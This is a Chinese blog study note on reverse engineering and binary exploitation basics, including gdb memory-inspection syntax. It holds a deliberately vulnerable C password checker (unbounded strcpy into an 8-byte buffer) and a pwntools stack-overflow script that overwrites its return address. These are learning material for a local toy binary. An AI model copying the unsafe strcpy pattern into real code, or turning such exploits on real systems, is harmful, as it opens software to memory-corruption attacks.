date
Aug 5, 2021 12:17 PM
Related to 日程数据 1 (blog)
tags
slug
summary
icon
category
password



改变EIP的值

标志寄存器
jnz
汇编指令

在内存中只有长度和地址
没有数据类型
lea 装载地址


加密用法
5^6
3
还原
3^5
6
5^6^6
5
上面的6可以是密钥 即加密解密


伪代码

汇编

文件结构
pe(windows)和elf(linux)
都是coff格式(unix)的变种
bash里file一下即可看到格式类型




od只支持windows的32位程序的调试
逆向的知识面太广
使用搜索引擎能事半功倍

工具的使用
IDA使用



pwn
#include<stdio.h> #include<string.h> #define PASSWORD "1234567" int verify_password(char *password) { int authenticated; char buffer[8]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password); return authenticated; } void con() { printf ("COngartulation!i\n"); } void main() { int valid_flag=0; char password[1024]; while(1) { printf("please input password:\n"); scanf("%s",password); valid_flag=verify_password(password); if(valid_flag) { printf("incorrect password!\n"); } else { con(); break; } } }
gdb
from pwn import * context(log_level="debug") #显示日志 #0x08049211 为main函数的起始值 ret=0x080491e6 #verify_password的返回地址 payload=b"a"*(24)+p32(ret)+p32(0x08049211) #这个偏移长度就是返回地址减去局部变量地址 p=process('./pass') print (p.recv()) pause() p.send(payload) p.interactive()
命令格式 x/nfu <addr> 参数解释 n,表示要显示的内存单元的个数 f,表示显示方式, 可取如下值: x 按十六进制格式显示变量 d 按十进制格式显示变量 u 按十进制格式显示无符号整型 o 按八进制格式显示变量 t 按二进制格式显示变量 a 按十六进制格式显示变量 i 指令地址格式 c 按字符格式显示变量 f 按浮点数格式显示变量 u,表示一个地址单元的长度: b 表示单字节 h 表示双字节 w 表示四字节 g 表示八字节

日常翻车
逆向
- 作者:lea
- 链接:https://bear4.ml/article/re
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。